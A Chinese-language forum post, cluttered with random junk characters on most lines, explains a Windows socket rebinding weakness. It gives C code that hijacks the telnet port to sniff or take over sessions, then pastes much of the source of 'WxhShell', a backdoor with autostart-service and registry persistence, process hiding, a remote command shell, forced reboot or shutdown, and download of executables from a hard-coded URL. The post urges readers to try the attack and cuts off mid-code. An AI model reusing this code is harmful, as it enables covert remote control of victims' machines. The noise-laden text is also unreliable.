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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: {+#{Cha  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); )/DN>rU  
G{6@]72  
  saddr.sin_family = AF_INET; I~F&@  
X@[5nyILf  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); Uv[a ~'  
 ij:a+T  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); 0~ nCT&V  
7#+Ih-&EQ  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 $!. [R}  
J?TCP%  
  这意味着什么?意味着可以进行如下的攻击: 5@1h^w v  
Z*w({k7]  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 CC!`fX6z>h  
){P`-ZF  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) X\!q8KEpR&  
1J1Jp|j.  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 $:5h5Y#z  
l opl  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  {@L{l1|0  
u q 9mq"  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 =%I[o=6  
u,iiS4'Ze  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 bE% Hm!  
:T$}@& -  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 !lzj.|7=1  
.(Ux1.0C  
  #include i| cA)  
  #include Mz$qe  
  #include .T8^>z1/\F  
  #include    M6MxY\uM  
  DWORD WINAPI ClientThread(LPVOID lpParam);   wH@< 0lw`<  
  int main() fXnTqKAfu6  
  { XdIno}pN  
  WORD wVersionRequested; 7ojh=imY  
  DWORD ret; ;(,GS@sP  
  WSADATA wsaData; E l.eK9L  
  BOOL val; F ! v01]O  
  SOCKADDR_IN saddr; B YB9M  
  SOCKADDR_IN scaddr; kKbbsB  
  int err; g-#eMQ%J  
  SOCKET s; _d~GY,WTdO  
  SOCKET sc; </<z7V,{  
  int caddsize; 3<FqK\P  
  HANDLE mt; OdyL j  
  DWORD tid;   |#*+#27  
  wVersionRequested = MAKEWORD( 2, 2 ); eWYet2!Q  
  err = WSAStartup( wVersionRequested, &wsaData ); }1CO>a<  
  if ( err != 0 ) { PTpCiiA@  
  printf("error!WSAStartup failed!\n"); |'i ?o  
  return -1; Zq1> M'V;  
  } bU}!bol  
  saddr.sin_family = AF_INET; [uie]*^  
    H!y@.W{_  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 25, [<Ao  
$a\X(okx  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); 2 (ux  
  saddr.sin_port = htons(23); N]c:8dOj  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ?\Y7]_]/  
  { QKz2ONV=)  
  printf("error!socket failed!\n"); Jl"DMUy[kW  
  return -1; ,h3,& ,  
  } TKw>eGe  
  val = TRUE; 3_VWtGQ  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 =8r,-3lC;  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) :]C\DUBo  
  { EjVB\6,  
  printf("error!setsockopt failed!\n"); A^c5CJ_  
  return -1; I$i1o #H  
  } ";0-9*I  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; t.O4-+$ig  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 kr1^`>O5  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 9*|An  
[iSLn3XXRX  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) iN`L*h  
  { N) z] F9Kg  
  ret=GetLastError(); .fW`/BXE  
  printf("error!bind failed!\n"); Ug O\+cI  
  return -1; K&Q0]r?  
  } p@znmn-  
  listen(s,2); ~u-`L+G"6  
  while(1) Xg"Mjmr  
  { KQqQ@D&n  
  caddsize = sizeof(scaddr); !C0= h  
  //接受连接请求 `V0]t_*D  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); F{<r IR  
  if(sc!=INVALID_SOCKET) {la ^useg[  
  { 0MzHr2?'P  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); G}~b  
  if(mt==NULL) 9zd)[4%=  
  { N=L urXv  
  printf("Thread Creat Failed!\n"); CUw 9aH  
  break; ~JT{!wcE}o  
  } `^N;%[c`z  
  } -XY]WWlq  
  CloseHandle(mt); \J\1i=a-=  
  } %BHq2~J  
  closesocket(s); ]g+(#x_.?  
  WSACleanup(); )5V1H WjU  
  return 0; sQH.}W$C  
  }   )I}G:bBa  
  DWORD WINAPI ClientThread(LPVOID lpParam) B'0Il"g'  
  { *'t`;m~  
  SOCKET ss = (SOCKET)lpParam; wLUmRo56aR  
  SOCKET sc; YGn:_9  
  unsigned char buf[4096]; p9sxA|O=y  
  SOCKADDR_IN saddr; bKaV]Uy  
  long num; Rx<pV_|H,  
  DWORD val; n<$I,IRE  
  DWORD ret; %E!0,y,:  
  //如果是隐藏端口应用的话,可以在此处加一些判断 XF$C)id2p  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   1-[{4{R  
  saddr.sin_family = AF_INET; |O+binq  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); ff hD+-gTU  
  saddr.sin_port = htons(23); Y\x Xo?  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) Z,&ywMm/G  
  { Bms?`7}N  
  printf("error!socket failed!\n"); gddGl=rm  
  return -1; ?{dno=  
  } i! nl%%  
  val = 100; v>P){VT  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) x[kdQj2[&  
  { ZqGq%8\.s  
  ret = GetLastError(); w/<hyEpxg  
  return -1; [6tQv<}^  
  } ']NM_0  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) MG@19R2s  
  { *\>2DUu\`  
  ret = GetLastError(); Vqr&)i"b$  
  return -1; 32Z4&~ I  
  } (TQXG^n$gY  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) WQ]pg "  
  { mB~&nDU  
  printf("error!socket connect failed!\n"); lb('r"*.  
  closesocket(sc); lo#,zd~  
  closesocket(ss); 4c yv 8  
  return -1; 1&<@(S<  
  } WveFB%@`;  
  while(1) z,EOyi  
  { 8K/lpqw  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 9+']`=a:  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 =EJ"edw]%0  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 .,,73"  
  num = recv(ss,buf,4096,0); )Fw)&5B!  
  if(num>0) gr=`_k4~1  
  send(sc,buf,num,0); ;rKYWj>IR  
  else if(num==0) uwka 2aSS  
  break; @!da1jN  
  num = recv(sc,buf,4096,0); qr 9 F  
  if(num>0) >R<fm  
  send(ss,buf,num,0); P.:T zk6  
  else if(num==0) Ymu=G3-  
  break; -Me\nu8(RF  
  } ^xwFjQXx  
  closesocket(ss); v2'J L(=  
  closesocket(sc); :S12=sFl$  
  return 0 ; ^d*>P|n*@e  
  } 'Ot[q^,KRG  
bRK9Qt#3  
}t'^Au`X  
========================================================== cw.7YiU  
cIp h$@  
下边附上一个代码,,WXhSHELL Fe .*O`  
s|'L0` <B  
========================================================== pS;dvZ  
h'p0V@!N  
#include "stdafx.h" `%3p.~>  
6]S.1BP  
#include <stdio.h> d ] ;pG(  
#include <string.h> K7c8_g*>4=  
#include <windows.h> ltR^IiA}  
#include <winsock2.h> o=QF>\ \  
#include <winsvc.h> ,be?GAq  
#include <urlmon.h> (xed(uFEK  
}HorR2(`N  
#pragma comment (lib, "Ws2_32.lib") N~jQ!y  
#pragma comment (lib, "urlmon.lib") ".?{Y(~  
I:<R@V<~#  
#define MAX_USER   100 // 最大客户端连接数 ,IE0+!I  
#define BUF_SOCK   200 // sock buffer (02(:;1  
#define KEY_BUFF   255 // 输入 buffer ~*[4DQ[\  
N-E`go  
#define REBOOT     0   // 重启 t8 "-zd8  
#define SHUTDOWN   1   // 关机 x~^I/$  
/H@")je  
#define DEF_PORT   5000 // 监听端口 wf%Ep#^6}  
W2qQKv  
#define REG_LEN     16   // 注册表键长度 t}*!UixE  
#define SVC_LEN     80   // NT服务名长度  a|uZJ*  
 q)+ n2FM  
// 从dll定义API &Ld8Z9IeFp  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); Cpv%s 1M  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); )%w8>1 }c  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); }yDq\5s Q[  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ItE~MJ5p  
AiK4t-  
// wxhshell配置信息 arVf"3a  
struct WSCFG { ky$:C,1t  
  int ws_port;         // 监听端口 xGv,%'u\  
  char ws_passstr[REG_LEN]; // 口令 <|Eby!KXR  
  int ws_autoins;       // 安装标记, 1=yes 0=no +\vY;!^  
  char ws_regname[REG_LEN]; // 注册表键名 7Sq{A@ ET  
  char ws_svcname[REG_LEN]; // 服务名 \'tz|  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 )wv[!cYyW  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 1";e'? ^x  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 y"p-8RVk{  
int ws_downexe;       // 下载执行标记, 1=yes 0=no lY9M<8g  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ikG9l&n  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 )6 0f  
PG[O?l  
}; rRrW   
U{uWk3I_b  
// default Wxhshell configuration ss@}Dt^  
struct WSCFG wscfg={DEF_PORT, <ZC^H  
    "xuhuanlingzhe", Hs -.83V  
    1, (g2r\hI  
    "Wxhshell", @j2*.ee  
    "Wxhshell", pXj/6+^  
            "WxhShell Service", @TPgA(5NR  
    "Wrsky Windows CmdShell Service", _6S b.9m  
    "Please Input Your Password: ", 2n;;Tso"  
  1, f(s3TLM  
  "http://www.wrsky.com/wxhshell.exe", UEQ'D9  
  "Wxhshell.exe" fQTA@WAr  
    }; <Bb<?7q$ld  
lJ]\  
// 消息定义模块 ecqz@*d&  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; m/c&/6nk  
char *msg_ws_prompt="\n\r? for help\n\r#>"; (6#yw`\  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; Z0 IxYEp  
char *msg_ws_ext="\n\rExit."; .6 ?>t!&W  
char *msg_ws_end="\n\rQuit."; V_A,d8=lt  
char *msg_ws_boot="\n\rReboot..."; )C01f ZhD  
char *msg_ws_poff="\n\rShutdown..."; {}J@+Zsi  
char *msg_ws_down="\n\rSave to "; nL(%&z \4  
6n6VEwYj  
char *msg_ws_err="\n\rErr!"; _QMHPRELk  
char *msg_ws_ok="\n\rOK!"; fByh";<`P  
/$Tl#   
char ExeFile[MAX_PATH]; 5ih"Nds[H  
int nUser = 0; @+\S!o3m  
HANDLE handles[MAX_USER]; c<h!QnJ  
int OsIsNt; #u<o EDQ  
ZYA.1VrM  
SERVICE_STATUS       serviceStatus; \abAPo  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; W]yClx \  
rv%ye H  
// 函数声明 +/!=Ub[:U  
int Install(void); VkTlPmr  
int Uninstall(void); VM]GYz|#]  
int DownloadFile(char *sURL, SOCKET wsh); (XG[_  
int Boot(int flag); 3gI[]4lRH  
void HideProc(void); 6mF{ImbRbS  
int GetOsVer(void); 3b?OW7H  
int Wxhshell(SOCKET wsl); O{B e )E~  
void TalkWithClient(void *cs); eb.cq"C  
int CmdShell(SOCKET sock); %7(kP}y*  
int StartFromService(void); xf^<ec  
int StartWxhshell(LPSTR lpCmdLine); KYkS6|A  
;X$q#qzN#  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 1(%>`=R8  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); W<rTq0~$?  
aW=By)S!Y  
// 数据结构和表定义 Q_QKm0!  
SERVICE_TABLE_ENTRY DispatchTable[] = `s>UU- 9  
{ 62MRI    
{wscfg.ws_svcname, NTServiceMain}, C?[a3rNH(  
{NULL, NULL} 0HHui7Yy>  
}; p- "Z'$A`  
J+}+ "h~.  
// 自我安装 wUK7um  
int Install(void) "xDx/d8B  
{ |-(IJG#)  
  char svExeFile[MAX_PATH]; A[^qq UL'  
  HKEY key; XDpfpJ,z"}  
  strcpy(svExeFile,ExeFile); aE7u5 PM  
"w*+v  
// 如果是win9x系统,修改注册表设为自启动 d)04;[=  
if(!OsIsNt) { B]^>GH  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { @%EE0)IA  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); tjZ\h=  
  RegCloseKey(key); 0^GbpSW{  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { AezvBY0'`z  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); fg9?3x Z  
  RegCloseKey(key); Q;$ 9qOF  
  return 0; a>wfhmr  
    } *'9)H 0  
  } zH)cU%I@.  
} [ME}Cv`?<E  
else { O!+nF]V4f  
E /fw?7eQ  
// 如果是NT以上系统,安装为系统服务 ;YK!EMM4!h  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); AVXX\n\_  
if (schSCManager!=0) La"o)L +m_  
{ O^.%C`*  
  SC_HANDLE schService = CreateService *:=];1 O  
  ( U/T4i#  
  schSCManager, pOqGAD{D$  
  wscfg.ws_svcname, u.Mqj"o\  
  wscfg.ws_svcdisp, uy/y wm/?=  
  SERVICE_ALL_ACCESS, IK*oFo{C=K  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , g3|BE2?  
  SERVICE_AUTO_START, aB6Ye/Io  
  SERVICE_ERROR_NORMAL, ![^EsgEB*  
  svExeFile, IFiTTIlT0  
  NULL, H4M{_2DO  
  NULL, ETU-]R3  
  NULL, M[ x_#m|  
  NULL, G/v|!}?wG  
  NULL j((hqJr  
  ); c{1V.  
  if (schService!=0) n!GWqle  
  { ~O \}/I28  
  CloseServiceHandle(schService); 5a'yXB}  
  CloseServiceHandle(schSCManager); 6fh{lx>  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); Y4QLs^IdB  
  strcat(svExeFile,wscfg.ws_svcname); B,3 t`  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { bfFmTI$,  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); |y.zo cBj  
  RegCloseKey(key); E@:Q 'g%  
  return 0; wD`[5~C{  
    } fD'/#sA#'  
  } egfi;8]E  
  CloseServiceHandle(schSCManager); *5 e<\{!  
} {5>3;.  
} f2NA=%\  
/ T ,zZ9=  
return 1; >A3LA3( c  
} ~%`EeJwT  
:3v9h^|+  
// 自我卸载 z;J  
int Uninstall(void) 9hy'DcSy,  
{ 't7Z] G  
  HKEY key; 1YFeVMc  
s3seK6x'  
if(!OsIsNt) { h0|[etaf  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 'GkvUrD9D$  
  RegDeleteValue(key,wscfg.ws_regname); 8/Mx5~ R  
  RegCloseKey(key); ' PELf P8  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { HL@TcfOe~  
  RegDeleteValue(key,wscfg.ws_regname); d<#p %$A4  
  RegCloseKey(key); N r<9u$d9=  
  return 0; ^uhxURF  
  } V~85oUc\-  
} |) O):  
} \7yJ\I  
else { )S2iIi;Bq  
Wm(:P  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); mbyih+amCr  
if (schSCManager!=0) y1iX!m~)  
{ vevf[eO-  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); c}%es=@  
  if (schService!=0) ;u,rtEMy;  
  { to'j2jP  
  if(DeleteService(schService)!=0) { yw'ezpO"  
  CloseServiceHandle(schService); eES'}[W>  
  CloseServiceHandle(schSCManager); X'@'/[?  
  return 0; ]U[&uymax  
  } !Av1Leb9$  
  CloseServiceHandle(schService); Y''6NGf  
  } x6ahZ  
  CloseServiceHandle(schSCManager); ds]?;l"  
} )pS8{c)E  
} frc{>u~t  
]YsR E>  
return 1; D-pX<0 -y  
} l<xFnj  
lUHtjr  
// 从指定url下载文件 j;iL&eo>  
int DownloadFile(char *sURL, SOCKET wsh) K6hfauWd[  
{ zmb@*/fK  
  HRESULT hr; &2{]hRM  
char seps[]= "/"; 1"O&40l  
char *token; C`0%C7  
char *file; \5hw9T&[B  
char myURL[MAX_PATH]; "15=ET  
char myFILE[MAX_PATH]; 6R2uWv  
z h%qS~8Yv  
strcpy(myURL,sURL); sKd)BA0`  
  token=strtok(myURL,seps); p+[} Hxx=  
  while(token!=NULL) <Oa9oM},d  
  { o,FUfO}F  
    file=token; Pbe7SRdr^  
  token=strtok(NULL,seps); 6m+W#]^  
  } M/#U2!iFk  
~^7r?<aKc  
GetCurrentDirectory(MAX_PATH,myFILE); TsD;Kl1  
strcat(myFILE, "\\"); F7T E|LZ  
strcat(myFILE, file); .S_QQM}Q  
  send(wsh,myFILE,strlen(myFILE),0); 7/"@yVBW  
send(wsh,"...",3,0); tOH0IE c  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); <d"Gg/@a  
  if(hr==S_OK) j"hASBTgp  
return 0; E >}q2  
else \Y e%o}.{  
return 1; v`B4(P1Z  
lzDdD3Ouc  
} e$|VG* d  
\_VmY!I5\  
// 系统电源模块 ?3jdg]&  
int Boot(int flag) !SF^a6jT  
{ <%KUdkzEP  
  HANDLE hToken; f xtxu?A>  
  TOKEN_PRIVILEGES tkp; ]:et~pfW  
wmYvD<  
  if(OsIsNt) { ezZph"&  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ETp'oh}?  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 0H[LS  
    tkp.PrivilegeCount = 1; O2v.  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; "EH,J  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); |zpx)8Q  
if(flag==REBOOT) { $]*d#`Sy{%  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) dJl^ADX[@  
  return 0; Dp^/gL=  
} ~NNv>5 t5  
else { f&yQhe6q  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) yd>}wHt  
  return 0; 7Fl-(Nv`  
} ,4Y*:JU4  
  } ^,V[nfQR  
  else { A]?^ H<  
if(flag==REBOOT) { / Z!i;@Wf  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) p4wr`" Zz  
  return 0; ;&,.TC?l  
} <zfKC  
else { CgnXr/!L  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 6[?}6gQ  
  return 0; ]US[5)EL-  
} >n!ni(  
} daX*}Ix  
iZ; TYcT  
return 1; R]Qp Mj%o  
} @ yxt($G  
;[6&0! N\  
// win9x进程隐藏模块 eb!_ie"D  
void HideProc(void) jJ++h1 K  
{ ~7SH4Cr  
nGrVw&  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); oJY[{-qW  
  if ( hKernel != NULL ) 0"4@;e_)>  
  { #WufZ18#  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); _;e\:7<m  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); C6@t  
    FreeLibrary(hKernel); #Lka+l;L7  
  } \*"`L3  
kh?. K#  
return; e.;M.8N#SQ  
}  c8DZJSO  
gfo}I2"  
// 获取操作系统版本 AcC8)xRpk4  
int GetOsVer(void) {}\CL#~y  
{ D1X{:#|  
  OSVERSIONINFO winfo; kRot7-7I|  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 8wIK:   
  GetVersionEx(&winfo); p&3> `C  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) xP@/9SM  
  return 1; _#'9kx|)  
  else +1@AGJU3  
  return 0; JO1 ,TtA  
} (9GbG"   
'_o@V O  
// 客户端句柄模块 arj$dAW  
int Wxhshell(SOCKET wsl) SrZ50Se  
{ K]"Kf{bx  
  SOCKET wsh; _D-Riu>#J  
  struct sockaddr_in client; 4lz{G*u  
  DWORD myID; frH)_YJ%  
zj20;5o>U&  
  while(nUser<MAX_USER) 6k9LxC:M  
{ Z.Pi0c+  
  int nSize=sizeof(client); 3j*'HST  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); A3s57.Z]|  
  if(wsh==INVALID_SOCKET) return 1; gX*K&*q   
.#!mDlY;  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ~B_ D@gV|  
if(handles[nUser]==0) `-O= >U5nH  
  closesocket(wsh); se,Z#H  
else (=JueF@J  
  nUser++; "DjU:*'  
  } \cZfg%PN  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); r~oSP^e'  
e1P7 .n}  
  return 0; OCW+?B;  
} t _\MAK  
Y:pRcO.4g  
// 关闭 socket O5;-Om  
void CloseIt(SOCKET wsh) 0<&M?^  
{ 0&$xX!]  
closesocket(wsh); a:u}d7T3e  
nUser--; 5Y-2 #  
ExitThread(0); fn1pa@P  
} oT->^4WY  
rzV"Dm$'  
// 客户端请求句柄 Yy@g9mi  
void TalkWithClient(void *cs) *V|zx#RN  
{ RVP18ub.S  
bi,mM,N/  
  SOCKET wsh=(SOCKET)cs; mP!N<K  
  char pwd[SVC_LEN]; M(5D'4.  
  char cmd[KEY_BUFF]; yW> RRE;  
char chr[1]; uF<S  
int i,j; D rTM$)  
N84qcc  
  while (nUser < MAX_USER) { b42QBTeg  
^zeL+(@r/  
if(wscfg.ws_passstr) { stXda@y<p  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ^&m?qKN8  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); !KDr`CV&  
  //ZeroMemory(pwd,KEY_BUFF); s3< F  
      i=0; pqq?*\W&[v  
  while(i<SVC_LEN) { H),RA]S  
(}0S1)7t  
  // 设置超时 z8tl0gd%D  
  fd_set FdRead; [B,p,Q"  
  struct timeval TimeOut; VN+\>j-  
  FD_ZERO(&FdRead); k<O y%+C  
  FD_SET(wsh,&FdRead); 8^T2^gs  
  TimeOut.tv_sec=8; jGiw96,Y  
  TimeOut.tv_usec=0; !x_t`78T  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); y.ql#eQ,  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); >)y$mc6  
6$(0Ty  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); GBr,LN  
  pwd=chr[0]; ~o Fh>9u  
  if(chr[0]==0xd || chr[0]==0xa) { *;X-\6  
  pwd=0; 0BDoBR  
  break; {? 2;0}3?;  
  } cD8Ea(  
  i++; w&C1=v -h  
    } hiIya WU  
ifHU|0_=  
  // 如果是非法用户,关闭 socket J% AG`  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); `:gYXeR  
} OA5f}+  
'$*[SauAG  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); -xTKdm D  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); vG3M5G  
Se/ss!If  
while(1) { |Q6h /"2  
[%? hCc  
  ZeroMemory(cmd,KEY_BUFF); nj"m^PmWo3  
L?Tu)<Mn  
      // 自动支持客户端 telnet标准   #@q1Ko!NZ  
  j=0; lfgtcR{l5  
  while(j<KEY_BUFF) { {RJ52Gx(  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Z:TFOnJ  
  cmd[j]=chr[0]; UI_v3c3b  
  if(chr[0]==0xa || chr[0]==0xd) { z g)|rm  
  cmd[j]=0; dXDXRY.FMQ  
  break; ?ff [$ab  
  } S!<"Swf:  
  j++; iAgOnk[  
    } ;xI0\a7  
B/rzh? b  
  // 下载文件 -zR.'x%  
  if(strstr(cmd,"http://")) { CMFC"eS e  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); Zg2]GJP  
  if(DownloadFile(cmd,wsh)) <a fO 6?`  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); z :? :  
  else d&?F#$>7|  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); wZ O@J|  
  } lZBv\JE  
  else { ,k\/]9  
!;jgzi?z  
    switch(cmd[0]) { l*qk1H"g  
  1B(G]o_>!  
  // 帮助 dt0T t  
  case '?': { \Me"'.F?  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); vyujC`61d  
    break; g(1"GKg3K  
  } ps "9;4P  
  // 安装 URk$}_39  
  case 'i': { +<z7ds{Z  
    if(Install()) 8z?$t-DO  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); F~%|3a$Y  
    else A_aO }oBX  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 4I z.fAw  
    break; \_?yzgf  
    } MV9r5|3-  
  // 卸载 {({ R:!c  
  case 'r': { 4_WH 6Z  
    if(Uninstall()) @kS|Jz$iY  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 4^0\dq  
    else X,&`WPA:S  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); % /~os2R  
    break; haN"/C^  
    } ykJ+%gla  
  // 显示 wxhshell 所在路径 .x]'eq}  
  case 'p': { `d.Gw+Un  
    char svExeFile[MAX_PATH]; *13g <#$  
    strcpy(svExeFile,"\n\r"); F_K  
      strcat(svExeFile,ExeFile); `Yg7,{A\J  
        send(wsh,svExeFile,strlen(svExeFile),0); /nwxuy  
    break; :{x!g6bK@  
    } w 7Cne%J8  
  // 重启 bOi};/f  
  case 'b': { Fka1]|j9  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); tWcizj;?wK  
    if(Boot(REBOOT)) hkkF1 h  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 8moUK3w  
    else { dBsRm{aS  
    closesocket(wsh); 4 `j,&=  
    ExitThread(0); nZ"{y  
    } 8}Fw%;Cb  
    break; %g!yccD9  
    } -7&^jP\,  
  // 关机 @?'t@P:4  
  case 'd': { &19l k   
